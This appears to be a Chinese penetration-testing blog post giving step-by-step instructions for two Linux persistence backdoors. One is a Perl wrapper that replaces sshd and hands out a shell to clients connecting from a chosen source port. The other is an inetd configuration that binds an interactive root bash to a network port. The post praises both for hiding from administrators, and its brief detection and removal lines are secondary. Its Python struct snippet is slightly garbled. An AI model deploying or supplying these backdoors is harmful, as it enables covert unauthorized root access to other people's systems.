linux-wrapper跟inetd服务后门

  • A+
所属分类:安全文章

wrapper后门实践

先部署后门

cd /usr/sbin/
mv sshd ../bin/

echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd

/etc/init.d/sshd restart 
//或者 service sshd restart

linux-wrapper跟inetd服务后门

在这里插入图片描述

这样后门就部署好了,我们来连接后门。运行socat STDIO TCP4:10.xx.xx.125:22,sourceport=13377

linux-wrapper跟inetd服务后门
使用后门新建一个 drunk.txt
在这里插入图片描述
linux-wrapper跟inetd服务后门
在这里插入图片描述

这个后门的优势是只有在连接的情况下,才会在进程中显示出来。

linux-wrapper跟inetd服务后门
在这里插入图片描述

优点:

  1. 隐蔽性较强,无需要编译,使用于大部分环境中

  2. 在无连接后门的情况下,管理员是看不到端口和进程的,last也查不到登陆

缺点:

需要重启sshd进程

原理

首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是13377就执行sh给个shell。

简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。

更多

其中 4A是13377的小端模式,如果你想修改源端口,可以用python的struct标准库实现

Python 2.7.12 (default, Oct  5 202013:56:01)
[GCC 5.4.0 20160609] on linux2
Type "help""copyright""credits" or "license" for more information.
>>> import struct
>>> print repr(struct.pack('>I6',19526))
'x00x00LF'
>>> print repr(struct.pack('>I6',13377))
'x00x004A'
linux-wrapper跟inetd服务后门
在这里插入图片描述

这里也简单啰嗦下/usr/bin 跟 /usr/sbin

/usr/bin:

主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。

/usr/sbin:

放置一些网路管理的必备程序例如:dhcpd、httpd、imap、in.*d、inetd、lpd、named、netconfig、nmbd、samba、sendmail、squid、swap、tcpd、tcpdump等

检测

检查网络链接及文件

cat /usr/sbin/sshd

清除

rm -rf /usr/sbin/sshd; mv /usr/bin/sshd ../sbin;

inetd服务后门

inetd是一个监听外部网络请求(就是一个socket)的系统守护进程,默认情况下为13端口。当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的这个socket交给那个程序去处理。所以,如果我们已经在目标系统的inetd配置文件中配置好,那么来自外部的某个socket是要执行一个可交互的shell,就获取了一个后门

部署inetd服务后门

#修改/etc/inetd.conf
$vim /etc/inetd.conf

#
discard stream tcp nowait root internal 
#discard dgram udp wait root internal 
daytime stream tcp nowait root /bin/bash bash -i

#
开启inetd
$inetd

#
nc连接
nc -vv 192.168.2.11 13
#可以配合suid后门,修改/etc/services文件:
suidshell 6666/tcp
#然后修改/etc/inetd.conf
suidshell stream tcp nowait root /bin/bash bash -i
#可以修改成一些常见的端口,以实现隐藏

检测:查看配置文件即可

cat /etc/inetd.conf 
在这里插入图片描述

linux-wrapper跟inetd服务后门


linux-wrapper跟inetd服务后门
在这里插入图片描述


linux-wrapper跟inetd服务后门
在这里插入图片描述



欢迎师傅加个好友位(๑•̀ㅂ•́)و✧ 

linux-wrapper跟inetd服务后门


制作linux键盘记录后门

linux-隐藏你的crontab后门

[GET!] 6个Linux痕迹隐藏小技巧!



    日落很美,所以我要了两份



本文始发于微信公众号(渗透测试教程):linux-wrapper跟inetd服务后门

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: